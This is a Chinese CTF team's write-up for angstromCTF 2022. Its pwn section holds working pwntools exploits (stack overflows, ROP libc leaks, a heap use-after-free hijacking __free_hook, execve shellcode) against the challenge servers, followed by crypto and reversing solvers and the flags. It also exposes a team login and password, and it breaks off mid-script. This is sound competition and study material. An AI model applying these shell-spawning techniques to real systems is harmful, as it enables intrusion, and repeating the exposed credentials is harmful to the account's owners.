# angstromctf 大家五一有空的时候可以参加这个比赛,赛题有多种难度 网址:https://2022.angstromctf.com/ 时间:4.30早上8点~5.5早上八点 用户名:sixstars 密码:v9ZxL9daZv8dk6N - 题目状态 - W - working - S - Stuck - F - Finish # web # pwn ## whatsmyname 白给,gdb和ida都没用 ```python= #! /usr/bin/env python from pwn import * context.log_level = 'debug' io = remote("challs.actf.co", 31223) io.recvuntil(b"Hi! What's your name?") io.sendline(b"a"*48) io.recvuntil(b"a"*48) randomnum = io.recvuntil(b"!", drop=True) log.info(str(randomnum)) io.sendlineafter(b"Guess my name and you'll get a flag!", randomnum) io.interactive() ``` ## wah (白给,gdb和ida都没用)*2 ```python= #!/usr/bin/env python from pwn import * context.log_level='debug' io = remote("challs.actf.co", 31224) io.sendlineafter(b"Cry:",b"a"*40+p64(0x401236)) io.interactive() ``` ## really obnoxious problem 白给 ```python= #! /usr/bin/env python3 from pwn import * io = remote('challs.actf.co', 31225) #io = process('./really_obnoxious_problem') io.recvuntil(b'Name: ') io.sendline(b'bobby') poprdi = 0x00000000004013f3 poprsir15 = 0x00000000004013f1 io.recvuntil(b'Address: ') io.sendline(b'a' * 72 + p64(poprdi) + p64(0x1337) + p64(poprsir15) + p64(0x4040a0) + p64(0) + p64(0x0401256)) io.interactive() ``` ## dream 这个不用做了,本地出了,远程服务器给的时间太少,已经私聊了,人家在睡觉 已出 `actf{hav3_you_4ny_dreams_y0u'd_like_to_s3ll?_cb72f5211336}` 主要就是一个sell的时候的UAF,但是限制了堆块大小,并且只能新建5个。这里把control chunk直接malloc出来从而让上述限制都失效了。 泄露libc是把一个堆块size位置改掉,然后释放掉(注意布置后面的堆块来通过unsortedbin的检查)之后show出libc。 然后任意地址写改free_hook。 ```python= from pwn import * filename="./dreams" libc_name="libc.so.6" # io = process(filename) io = remote('challs.actf.co', 31227) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60'] def my_sleep(index,date,about): io.recvuntil('> ') io.sendline('1') io.recvuntil('dream?') io.sendline(str(index)) io.recvuntil('?') io.send(date) io.recvuntil('?') io.send(about) def sell(index): io.recvuntil('> ') io.sendline('2') io.recvuntil('?') io.sendline(str(index)) def visit(index,date): io.recvuntil('> ') io.sendline('3') io.recvuntil('trouble? ') io.sendline(str(index)) io.recvuntil('that ') info = io.recvuntil('\n',drop=True) # return key addr io.recvuntil('?') io.recvuntil('date: ') io.send(date) return info def debug(): cmd = "" cmd +="b *0x401549\n" # call visit gdb.attach(io,cmd) visit(0,'1') def arb_write(dst,src): # arb write 8 bytes visit(4,p64(dst)) visit(0,p64(src)) my_sleep(0,'1',"aa") #0 my_sleep(1,'1',"bb") # 1 sell(1) sell(0) heap_info = u64(visit(0,'1').ljust(8,b'\x00')) success("heap_info: " + hex(heap_info)) heap_base = heap_info-0x10 success("heap_addr: " + hex(heap_base)) # change one addr to control block visit(0,p64(heap_base+0x2a0)) my_sleep(3,'1',"aa") # same with 0 # gdb.attach(io,"b *0x4013A4") my_sleep(4,p64(heap_base+0x0012e0),p64(heap_base+0x001310)) # 4 can control whole arb_write(heap_base+0x0012e8,0) # key->0 arb_write(heap_base+0x0012e8-0x10,0xa1) # size->0xa0 arb_write(heap_base+0x001378,0x21) arb_write(heap_base+0x001398,0x21) visit(4,p64(heap_base+0x0012e0)) # fd back to pointer # debug() for i in range(0,8): sell(0) arb_write(heap_base+0x0012e8,0) visit(4,p64(heap_base+0x0012e0)) # debug() # visit(0) visit(4,p64(heap_base+0x0012d8)) libc_info = u64(visit(0,p64(0)).ljust(8,b'\x00')) success("libc_info: " + hex(libc_info)) libc_base = libc_info - 0x1ecbe0 success("libc_base: " + hex(libc_base)) # arb_write(heap_base+0x001310,'/bin/sh') visit(4,p64(heap_base+0x001310)) visit(0,'/bin/sh') arb_write(heap_base+0x001318,0) free_hook = libc_base + libc.symbols['__free_hook'] system = libc_base + libc.symbols['system'] arb_write(free_hook,system) # debug() # gdb.attach(io,"b *0x4014FF") sell(1) io.interactive() ``` ## whereami `actf{i'd_be_saf3_and_w4rm_if_1_wa5_in_la_5ca5e33ff06f}` ```python= from pwn import * filename="./whereami" libc_name="libc.so.6" # io = process(filename) io = remote('challs.actf.co', 31222) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60'] csu1 = 0x4012FA csu2 = 0x4012E0 pop_rdi = 0x0000000000401303 payload = b'a'*0x48 payload +=p64(pop_rdi) payload+=p64(elf.got['puts']) payload +=p64(elf.plt['puts']) payload += p64(csu1) payload +=p64(0) payload+=p64(1)+p64(0x40406C)+p64(0)*2+p64(elf.got['gets']) payload +=p64(csu2) payload +=p64(0)*7 payload+=p64(0x401110) io.recvuntil('you? ') # gdb.attach(io,"b *0x401297") io.sendline(payload) # gdb.attach(io,"b *0x401211") puts_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) success("puts_info: " + hex(puts_info)) libc_base = puts_info-libc.symbols['puts'] success("libc_base: " + hex(libc_base)) input('send') io.sendline(p32(0x0)) payload2 = b"a"*0x48 payload2 +=p64(0x000000000040101a) # ret payload2 +=p64(pop_rdi) payload2 +=p64(libc_base+libc.search(b"/bin/sh").__next__()) payload2+=p64(libc.symbols['system']+libc_base) io.recvuntil('you? ') # gdb.attach(io,"b *0x401297") input('send2') io.sendline(payload2) io.interactive() ``` ## parity `actf{f3els_like_wa1king_down_4_landsl1de_6d28d72fd7db}` 无语题目,要我写奇偶交替的shellcode,把大伙都整笑了。 找gadget的方法我是用下面的脚本,就是暴力获取所有奇数偶数奇数的全排列指令,然后反汇编。 ```python= oushu = [] jishu = [] for i in range(0,0xff): if i%2 == 0: oushu.append(i) else: jishu.append(i) tmp = "" for a in oushu: for b in jishu: for c in oushu: tmp +=chr(a)+chr(b)+chr(c) tmp2 = "" for a in jishu: for b in oushu: for c in jishu: tmp2+=chr(a)+chr(b)+chr(c) with open ("bin1","w") as f1: f1.write(tmp) with open("bin2","w") as f2: f2.write(tmp2) ``` 之后用下面的命令 `disasm -c amd64 < bin > all_gadget` 找到的gadget如下所示。 ```txt 0: 00 01 add BYTE PTR [rcx], al 2: 00 00 add BYTE PTR [rax], al 4: 01 02 add DWORD PTR [rdx], eax 6: 00 01 add BYTE PTR [rcx], al 8: 04 00 add al, 0x0 a: 01 06 add DWORD PTR [rsi], eax c: 00 01 add BYTE PTR [rcx], al e: 08 00 or BYTE PTR [rax], al 10: 01 0a add DWORD PTR [rdx], ecx 12: 00 01 add BYTE PTR [rcx], al 14: 0c 00 or al, 0x0 16: 01 0e add DWORD PTR [rsi], ecx 18: 00 01 add BYTE PTR [rcx], al 1a: 10 00 adc BYTE PTR [rax], al 1c: 01 12 add DWORD PTR [rdx], edx 1e: 00 01 add BYTE PTR [rcx], al 20: 14 00 adc al, 0x0 ``` (这里省略大概90万行) 之后就是在里面找有用的,没有什么技巧,全是感情(太累了!!) 注意这里比较麻烦的就是`syscall`这条指令是\x0f\x05也不是奇偶相见的,因此也要通过加加减减构造。总之就是没什么意思的题目,现实中也完全碰不到。做一次也就够了 ```python= from pwn import * filename="./parity" # io = process(filename) io = remote('challs.actf.co', 31226) context.log_level='debug' elf=ELF(filename) context.terminal=['tmux','split','-hp','60'] context.arch = "amd64" asm_shell = """ add dx,0x41 add dx,0x55 mov al, 0xf nop mov DWORD PTR [rdx], eax pop rbx add rdx,1 mov al,0x5 nop mov DWORD PTR [rdx], eax pop rbx add dx,0x21 mov al,0x2f nop mov DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x61 nop mov DWORD PTR [rdx], eax pop rbx mov al,1 nop add DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x69 nop mov DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x6d nop mov DWORD PTR [rdx], eax pop rbx mov al,1 nop add DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x2f nop mov DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x73 nop mov DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x67 nop mov DWORD PTR [rdx], eax pop rbx mov al,1 nop add DWORD PTR [rdx], eax push rbx sub rdx,1 sub rdx,1 sub rdx,1 sub rdx,1 sub rdx,1 sub rdx,1 push rdx pop rdi xor rsi,rsi pop rbx xor rdx,rdx xor eax,eax push rbx mov al,0x3b """ syscall_shell = asm(asm_shell) # print(len(syscall_shell)) # pause() # gdb.attach(io,"b *0x4012F5") io.recvuntil('> ') io.send(syscall_shell) io.interactive() ``` ## caniride 这个题我觉得只能爆破..如果大家有更好的思路欢迎交流。 做不动了,下面的没法爆破,写不来爆破脚本,改一下能循环爆破就可以了。调试下来这个gadget是能用的,本地能出shell。 ```python= from pwn import * filename="./caniride" libc_name="./libc.so.6" context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60'] while True: io = process(filename) og = [0xe3b2e,0xe3b31,0xe3b34] # the middlen one counts bias = 8 # gdb.attach(io,"brva 0x147E") payload1 = "%43c%16$hhn%6c%17$hhn%156c%18$hhn" io.recvuntil('Name: ') io.sendline(payload1) io.recvuntil('driver: ') io.sendline('-3') io.recvuntil('this is ') code_info = u64(io.recvuntil(' ',drop=True).ljust(8,b'\x00')) code_base = code_info - 0x35a8 success("code_base: " + hex(code_base)) puts_got = elf.got['puts'] + code_base success("puts_got: " + hex(puts_got)) buf_payload = p64(puts_got+1) + p64(puts_got)+p64(puts_got+2) io.recvuntil('yourself: ') try: io.sendline(buf_payload) except : io.close() continue else: io.interactive() break ``` # misc ## amongus 给了个压缩包,解压得到1000个文件,内容不一样的文件的文件名就是flag。 `diff -q --from-file=./actf\{look1ng_f0r_answers_in_the_p0uring_r4in_001a5e03f1d9\}.txt ./*` flag:actf{look1ng_f0r_answers_in_the_p0uring_r4in_b21f9732f829} ## Shark 1 给了段流量,直接追踪第一条就拿到flag了…… flag:actf{wireshark_doo_doo_doo_doo_doo_doo} ## Shark 2 流量里传了张图片,看ascii表示有写JFIF,追踪流把原始数据另存为`.jpeg`格式,flag就写在图上。 flag:actf{i_see_you} # crypto ## Caesar and Desister 凯撒密码 flag:actf{stop_right_there_cryptographer_scum} ## Randomly Sampled Algorithm RSA flag:actf{just_kidding_this_algorithm_wasnt_actually_randomly_sampled} ## Vinegar Factory 题目使用key+m%26的方法加密了"actf{[a-z_]{10,50}}fleg",并在密文前后添加随机噪声。key是4位的。 先用正则表达式"[a-z]{4}\{[^{}]{10,50}\}[a-z]{4}"匹配所有字符串,然后用"actf"解出key,用"fleg"检验是否是所需字符串,重复50次得到flag。 flag:actf{classical_crypto_is_not_the_best} ```python= from pwn import * import string import re context(os="linux",log_level="debug",arch="amd64") r = remote('challs.actf.co', '31333') alpha = string.ascii_lowercase def decrypt(msg,key): ret = "" i = 0 for c in msg: if c in alpha: ret += alpha[(alpha.index(c)-alpha.index(key[i])) % len(alpha)] i = (i + 1) % len(key) else: ret += c return ret for i in range(50): r.recvuntil(b"Challenge ") m=r.recvuntil(b"> ") m=m.decode().split(": ")[1][:-2] pattern=re.compile(r"[a-z]{4}\{[^{}]{10,50}\}[a-z]{4}") flegs=pattern.findall(m) fleg="" for f in flegs: actf="actf" cipher=f[:4] key=[alpha[(alpha.index(cipher[i])-alpha.index(actf[i]))%26] for i in range(4)] f=decrypt(f,key) if f[-4:]=="fleg": fleg=f[:-4] break r.sendline(fleg) log.success(fleg) r.interactive() ``` ## RSA-AES(W) 找到了2020年的writeup:https://ctf.0xff.re/2020/angstromctf_2020/rsa-otp # reverse ## baby3 + 无脑提取字符串 ```c= // main函数的汇编代码 .text:0000000000001139 55 push rbp .text:000000000000113A 48 89 E5 mov rbp, rsp .text:000000000000113D 48 83 EC 40 sub rsp, 40h .text:0000000000001141 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h .text:000000000000114A 48 89 45 F8 mov [rbp+var_8], rax .text:000000000000114E 31 C0 xor eax, eax .text:0000000000001150 48 B8 61 63 74 66 7B 65 6D 68 mov rax, 'hme{ftca' .text:000000000000115A 48 BA 70 61 69 64 6D 65 7A 65 mov rdx, 'ezemdiap' .text:0000000000001164 48 89 45 C0 mov [rbp+var_40], rax .text:0000000000001168 48 89 55 C8 mov [rbp+var_38], rdx .text:000000000000116C 48 B8 72 6F 64 6F 6C 6C 61 72 mov rax, 'rallodor' .text:0000000000001176 48 BA 73 74 6F 6D 61 6B 65 74 mov rdx, 'tekamots' .text:0000000000001180 48 89 45 D0 mov [rbp+var_30], rax .text:0000000000001184 48 89 55 D8 mov [rbp+var_28], rdx .text:0000000000001188 48 B8 68 69 73 63 68 61 6C 6C mov rax, 'llahcsih' .text:0000000000001192 48 BA 65 6E 67 65 5F 61 6D 6F mov rdx, 'oma_egne' .text:000000000000119C 48 89 45 E0 mov [rbp+var_20], rax .text:00000000000011A0 48 89 55 E8 mov [rbp+var_18], rdx .text:00000000000011A4 C7 45 F0 67 75 73 7D mov [rbp+var_10], '}sug' .text:00000000000011AB C6 45 F4 00 mov [rbp+var_C], 0 .text:00000000000011AF B8 00 00 00 00 mov eax, 0 .text:00000000000011B4 48 8B 55 F8 mov rdx, [rbp+var_8] ``` python 打印一下 ```python= flag=b"}sugoma_egnellahcsihtekamotsrallodorezemdiaphme{ftca" print(flag[::-1]) ``` flag:actf{emhpaidmezerodollarstomakethischallenge_amogus} ## Number Game 白给 ```c++= puts("Welcome to clam's number game!"); printf("Step right up and guess your first number: "); v3 = _bss_start; fflush(_bss_start); v8 = read_int(v3, argv); if ( v8 == 314159265 && (printf("That's great, but can you follow it up? "), v5 = _bss_start, fflush(_bss_start), v7 = read_int(v5, argv), v7 == 199212072) ) { puts("That was the easy part. Now, what's the 42nd number of the Maltese alphabet?"); getchar(); fgets(s, 64, stdin); s[strcspn(s, "\n")] = 0; if ( !strcmp(s, "the airspeed velocity of an unladen swallow") ) { puts("How... how did you get that? That reference doesn't even make sense..."); puts("Whatever, you can have your flag I guess."); print_flag(); return 0; } else { puts("Ha! I knew I would get you there!"); return 1; } } ``` 依次输入: 314159265 199212072 "the airspeed velocity of an unladen swallow" 即可获得flag ![](https://i.imgur.com/nj30T8e.png) flag:actf{it_turns_out_you_dont_need_source_huh} ## uninspired 一道有趣的数学题 检测逻辑: ![](https://i.imgur.com/zlGSY6u.png) 输入十个0-9的整数array[0-9],需要满足: ```python= array[i]=sumj(array[j]=i) # 比如array[0]=9,表示 array中有9个的数值为0,而array[9]>=1,因为arr ``` 从0的个数开始从大到小枚举就行,最终得到如下的输入: 6210001000满足上述条件 ![](https://i.imgur.com/SzL9ZeN.png) flag:actf{ten_digit_numbers_are_very_inspiring} ## dny 又是我们的老朋友rust:) 检验逻辑: 变换输入字符串,然后compare 1. 首先是获取输入 ![](https://i.imgur.com/vYFdGFK.png) > 格式要求 actf{xxx} 2. 然后交换一下字符串的顺序 ![](https://i.imgur.com/nlPvhtw.png) > 比较简单 3. 最后进行比较 ![](https://i.imgur.com/UnMbI7m.png) 脚本如下: ```python= compare=b"_ynourtsd_tet_eh2_bfiasl7cedbda7" test1="ABCDEFGHIJKLMNOPQRSTUVWXYZ012345" # 测试输入 test2=list("FEHGBADCNMPOJILKVUXWRQTS3254ZY10") # 变换后的输入 seq=[0 for _ in range(32)] for i in range(32): seq[i]=test1.index(test2[i]) print(seq) res=[0 for _ in range(32)] for i in range(32): res[i]=compare[seq[i]] flag=b'actf{'+bytes(res)+b'}' print(flag) # actf{rusty_on_the_details_2fbdb7ac7de} ``` flag:actf{rusty_on_the_details_2fbdb7ac7de} ## Flatland + 控制流平坦化了,分析起来比较棘手 + 检测逻辑如下: ```c= __int64 __fastcall main(int a1, char **a2, char **a3) { __int64 v3; // rbx __int64 v4; // r15 int v5; // eax int v6; // ebp __int64 v7; // rax __int64 v8; // rax __int64 v9; // rcx __int64 v10; // rax __int64 v11; // rdx int inputchar; // eax bool v13; // zf unsigned int v14; // ebx const char *v15; // rdi __int64 v17[51205]; // [rsp+0h] [rbp-64028h] BYREF v5 = 0; v6 = 0; while ( 2 ) { switch ( v5 ) { case 0: puts( "I call our world Flatland, not because we call it so, but to make its nature clearer to you, my happy solvers," " who are privileged to have control flow."); v7 = (__int64)v6 << 12; *(_OWORD *)((char *)&v17[2] + v7) = 0LL; *(_OWORD *)((char *)&v17[4] + v7) = 0LL; *(_OWORD *)((char *)&v17[6] + v7) = 0LL; *(_OWORD *)((char *)&v17[8] + v7) = 0LL; *(_OWORD *)((char *)&v17[10] + v7) = 0LL; *(_OWORD *)((char *)&v17[12] + v7) = 0LL; *(_OWORD *)((char *)&v17[14] + v7) = 0LL; *(_OWORD *)((char *)&v17[16] + v7) = 0LL; *(_OWORD *)((char *)&v17[18] + v7) = 0LL; *(_OWORD *)((char *)&v17[20] + v7) = 0LL; *(_OWORD *)((char *)&v17[22] + v7) = 0LL; *(_OWORD *)((char *)&v17[24] + v7) = 0LL; *(_OWORD *)((char *)&v17[26] + v7) = 0LL; *(_OWORD *)((char *)&v17[28] + v7) = 0LL; *(_OWORD *)((char *)&v17[30] + v7) = 0LL; *(_OWORD *)((char *)&v17[32] + v7) = 0LL; ++v6; v4 = 1LL; v5 = 13; continue; case 1: v10 = (__int64)v6 << 12; *(__int64 *)((char *)v17 + v10) = v3; *((_BYTE *)&v17[2] + v10 + v3) = 1; *(__int64 *)((char *)&v17[1] + v10) = 1LL; v5 = 4; continue; case 2: v8 = (__int64)v6 << 12; *(__int64 *)((char *)v17 + v8) = v3; *((_BYTE *)&v17[2] + v8 + v3) = 1; v9 = *(__int64 *)((char *)&v17[1] + v8) + 1;// 记录读取数据的次数 *(__int64 *)((char *)&v17[1] + v8) = v9; v5 = 2 * (v9 == 24) + 4; // 输入长度为24 continue; case 3: // error information v14 = 1; v15 = "All the substantial binaries of Flatland itself appear no better than the offspring of a diseased imaginat" "ion, or the baseless instructions of a CPU."; break; case 4: ++v6; v4 = 5LL; v5 = 13; continue; case 5: v11 = v17[512 * (__int64)v6]; if ( v3 == dword_402090[v11] // 四项至少成立一项 || v11 == dword_402090[v3] || v3 == dword_4020F0[v11] || (v5 = 3, v11 == dword_4020F0[v3]) ) { v5 = 3 - (*((_BYTE *)&v17[512 * (__int64)v6 + 2] + v3) == 0);// 后一项等式必须成立,下标不能相同 } continue; case 6: // right v14 = 0; v15 = "Now you have truly understood the secrets of Flatland."; break; case 7: v17[512 * (__int64)v6] = 0LL; // 循环变量 i v5 = 8; continue; case 8: v5 = 2 * (v17[512 * (__int64)v6] != 24) + 9;// i不能为24 continue; case 9: // goto error --v6; v3 = -1LL; v5 = v4; continue; case 10: ++v17[512 * (__int64)v6]; v5 = 8; continue; case 11: v5 = 2 * (v3 == aNftrcd1ontrw4M[v17[512 * (__int64)v6]]) + 10; continue; case 12: v3 = v17[512 * (__int64)v6--]; // v3=index,v6-- v5 = v4; continue; case 13: inputchar = getc(stdin); // 获取输入 v17[512 * (__int64)v6] = inputchar; v13 = inputchar == -1; v5 = 14; if ( v13 ) v5 = 3; continue; case 14: v17[512 * (__int64)v6 + 1] = v4; v3 = v17[512 * (__int64)v6++]; v4 = 15LL; v5 = 7; continue; case 15: v5 = 3; if ( v3 != -1 ) v5 = v17[512 * (__int64)v6 + 1]; --v6; continue; default: continue; } break; } puts(v15); return v14; } ``` > 成功的提示对应case6,失败对应case3,case5是对输入的下标的判断,必须满足数组直接的关系 > 所有输入的字符串都储存在aNftrcd1ontrw4M中 > aNftrcd1ontrw4M="NfTRcD1ontrw}4{mFl_Ad0ua" > 逻辑流分析的过程大致如下 ![](https://i.imgur.com/FxdSJBI.png) 所以大致思路就是调整上面的字符串的顺序,case5中的两个数组来检验下标顺序是否正确 用python写了一个回溯算法的脚本 ```python= string = b"NfTRcD1ontrw}4{mFl_Ad0ua" print(len(string)) # 0x401140 dword_402090 = [20,10,0,22,14,4,5,22,15,15,18,7,10,2,19,19,9,13,8,17,11,12,0,4] dword_4020F0= [17,14,15,6,9,12,5,10,18,1,7,21,16,14,16,2,17,0,10,8,22,3,2,19] flag=False res=[23,4,9,1,14] def backtrack(current): global flag if len(current)==24 and current[-1]==12: flag=True return True if flag: return True # 最多四个方向 choices=[dword_402090[current[-1]]] if dword_4020F0[current[-1]] not in choices: choices.append(dword_4020F0[current[-1]]) if current[-1] in dword_402090 and dword_402090.index(current[-1]) not in choices: choices.append(dword_402090.index(current[-1])) if current[-1] in dword_4020F0 and dword_4020F0.index(current[-1]) not in choices: choices.append(dword_4020F0.index(current[-1])) copy=current for i in choices: if (i not in current): if i!=12 or len(current)==23: current.append(i) # 做选择 if backtrack(current): # 判断选择是否正确 flag=True return True else: current.pop() # 撤销选择 flag=False return False if backtrack(res): print(res) # print(res) flag=[] for i in range(24): flag.append(string[res[i]]) print(bytes(flag)) # actf{Fl4TmAn_rouNdw0R1D} ``` flag:actf{Fl4TmAn_rouNdw0R1D} ## Beam 被迫学习一波Erlang语法:( 首先二进制文件为beam类型,是由Erlang语言编译得到的 ![](https://i.imgur.com/bbw8aZQ.png) 所以需要进行反编译再分析 最终找到一个类似的分析样例:https://github.com/pwning/public-writeup/blob/master/9447ctf2014/reversing/hellomike/hellomike.md 基本解题步骤: (需要现配一个erl环境) 1. 反编译 ```erlang= io:format("~p~n",[beam_disasm:file("test.beam")]). ``` ![](https://i.imgur.com/PFuO7lY.png) 2. 分析关键函数check ![](https://i.imgur.com/05NTrd8.png) 基本逻辑就是先获取输入,然后加密,最后compare compare字符为"gjsfxpslt" 3. 加密函数 check-fun-0 ![](https://i.imgur.com/7F1ixch.png) > 就是对输入的字符加1 解题脚本 ```python= # io:format("~p~n",[beam_disasm:file("test.beam")]). pawd=b"gjsfxpslt" res=[m-1 for m in pawd] print(bytes(res)) # fireworks ``` ![](https://i.imgur.com/SXW6SQU.png) flag:actf{elixir_is_awesome} > 算法不难,但是寻找相关资料、现学语法让人头大 ## Weeb Hunters 2 + 很好的一道题,在CTF中打怪兽 + 逻辑检查难度中等,爆破比较麻烦 + 只贴出脚本和一些截图,感兴趣的可以私聊,后续可能写个博客:) + 感谢魏神帮忙逆向rand函数和运行爆破脚本 :thumbsup: 基本思路:获得武器,升级武器,与boss战斗 ![](https://i.imgur.com/m9PbQxE.png) > 源代码一角 爆破脚本 ```python= from z3 import * currentx=0xdead currenty=0xbeef currentrand=0x5F10AFD5 # 升级武器的密码 v24 = 0xD3385C606D740964 # 医生小屋 [y = 14920, x = 13100] 0x332c,0x3a48 v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0 v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1 v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2 # 根据参数,求出对应的v8,v9 def updateweapon(v24): x=BitVec('x',16) y=BitVec('y',16) s=Solver() one=(v24>>48)&0xffff two=(v24>>32)&0xffff three=(v24>>16)&0xffff four=(v24)&0xffff s.add((x*y)&0xffff==two) s.add((x^y)&0xffff==four) s.add(((x&y)+(x|y))&0xffff==three) s.add((((x&y)+(x|y))+(x*y)+(x^y)&0xffff==one)) s.check() print(s.model()) def getweapon(wtype): x=BitVec('x',16) y=BitVec('y',16) s=Solver() s.add((x^y)&7==1) s.add(((x^y)>>3)&3==wtype) s.add(x>10000,y>10000) s.check() # print(s.model()) m=s.model() x_value=m[x].as_long() y_value=m[y].as_long() return x_value,y_value # 模拟rand函数 def myrand(seed_value): seed=seed_value res=[] r=[0 for _ in range(360)] r[0]=seed for i in range(1,31): temp=(16807 * r[i-1]) % 2147483647 r[i]=BitVecVal(temp,32).as_long() for i in range(31,34): r[i]=r[i-31] for i in range(34,344): temp= r[i-31] + r[i-3] r[i]=BitVecVal(temp,32).as_long() for i in range(344,344+2): temp = r[i-31] + r[i-3] r[i]=BitVecVal(temp,32).as_long() res.append(r[i]>>1) return res def myrand_5(seed_value): seed=seed_value res=[] r=[0 for _ in range(360)] r[0]=seed for i in range(1,31): temp=(16807 * r[i-1]) % 2147483647 r[i]=BitVecVal(temp,32).as_long() for i in range(31,34): r[i]=r[i-31] for i in range(34,344): temp= r[i-31] + r[i-3] r[i]=BitVecVal(temp,32).as_long() for i in range(344,344+5): temp = r[i-31] + r[i-3] r[i]=BitVecVal(temp,32).as_long() res.append(hex(r[i]>>1)) return res # 获取升级武器的种子 def getupdateseed(v8,v9): seed=BitVec('seed',32) s=Solver() s.add(seed>=0x20202020,seed<=0x7e7e7e7e) # rand1,rand2,_,rand4=myrand(seed^currentrand) res=[] r=[0 for _ in range(360)] r[0]=seed^currentrand for i in range(1,31): r[i]=(16807 * r[i-1]) % 2147483647 for i in range(31,34): r[i]=r[i-31] for i in range(31,344): r[i]=r[i-31]+r[i-3] for i in range(344,344+2): r[i]=r[i-31] + r[i-3] res.append(r[i]>>1) # print(res) rand1,rand2=res s.add(rand1<0x8000) s.add(rand2<0x8000) s.add((currentx+rand1)&0xffff==v8) s.add((currenty+rand2)&0xffff==v9) s.check() m=s.model() print(s.model()) # currentrand=rand4 #!import:这里需要更新 seed_value=m[seed].as_long() return seed_value # 获取得到武器的种子 def getweaponseed(wtype): global currentx,currenty,currentrand seed=BitVec('seed',32) s=Solver() s.add(seed&0xff>=0x20,seed&0xff<=0x7e) s.add((seed>>8)&0xff>=0x20,(seed>>8)&0xff<=0x7e) s.add((seed>>16)&0xff>=0x20,(seed>>16)&0xff<=0x7e) s.add((seed>>24)&0xff>=0x20,(seed>>24)&0xff<=0x7e) res=[] r=[0 for _ in range(360)] r[0]=seed^currentrand for i in range(1,31): r[i]=((16807 * r[i-1]) % 2147483647)&0xffffffff for i in range(31,34): r[i]=r[i-31] for i in range(31,344): r[i]=(r[i-31]+r[i-3])&0xffffffff for i in range(344,344+2): r[i]=(r[i-31] + r[i-3])&0xffffffff res.append((r[i]>>1)) # print(res) rand1,rand2=res # rand1,rand2,_,rand4=myrand(seed^currentrand) s.add(rand1<0x8000) s.add(rand2<0x8000) x=(currentx+rand1)&0xffff y=(currenty+rand2)&0xffff s.add((x^y)&7==1) s.add(((x^y)>>3)&3==wtype) s.check() print(s.model()) # currentrand=rand4 #!import:这里需要更新 m=s.model() seed_value=m[seed].as_long() new_seed=seed_value^currentrand real1,real2,_,rand4=myrand(new_seed) realx=(currentx+rand1)&0xffff realy=(currenty+rand2)&0xffff # 检验 assert((realx^realy)&7==1) assert(((realx^realy)>>3)&3==wtype) return seed_value # 获得武器的密码 # x,y=getweapon(0) # [y = 10008, x = 10009] 0x2718,0x2719 # print(hex(x),hex(y)) # getweapon(1) # [y = 10013, x = 10004] 0x2714,0x271d # getweapon(2) # [y = 10121, x = 10008] 0x2718,0x2789 def updatestate(seed): global currentx,currenty,currentrand seed_value=seed new_seed=seed_value^currentrand rand1,rand2,_,rand4=myrand(new_seed) currentrand=rand4 currentx=(currentx+rand1)&0xffff currenty=(currenty+rand2)&0xffff print(hex(currentx),hex(currenty),hex(new_seed),hex(rand1),hex(rand2),hex(rand4)) secret =[0x39a53,0x97e4f,0x155ac,0xa60ac,0x4e93f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x44bb,0x2415f,0x483fe,0x94bb,0x7341e,0x109c7,0x1b7e1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x4010c,0x1cc9f,0x97efb,0x3758b,0x77d3,0x3ceba,0x2b9bf,0x1c7a9,0xa753f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x9ec7,0x4fb6,0x36153,0x29479,0x34f19,0x798a4,0x29937,0x19798,0x2a719,0x163ce,0x1b947,0xd1de,0x14ca9,0x25eab,0xee87,0xa375,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x16352,0x16384,0x163b8,0x29a6e,0x25bda,0x3b8ec,0x14464,0x1a0e5,0xed07,0x3cec9,0xca32,0x27b79,0x13da7,0x2749f,0x3d938,0x1a78f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x3dd43,0xc9ab,0x6e1f,0x51194,0x3ba72,0x1b9ff,0xed01,0x785b,0x1c9ff,0xb37b,0xe29b,0x16429,0x1fe1,0x155bf,0x4fb69,0x51160,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x36bc2,0x482ce,0x9d1b,0x7241f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x36049,0x5d7de,0x1c86c,0x1c7a7,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0] def get_strinput(row): col=0 s2=[] while(secret[32*row+col]): v21=0 v22 = secret[32 * row + col] while(v22!=1): if (v22&1): v22=3*v22+1 else: v22>>=1 v21+=1 s2.append((v21+0x80)&0xff) col+=1 # s2.append(0) return s2 # for i in range(8): # 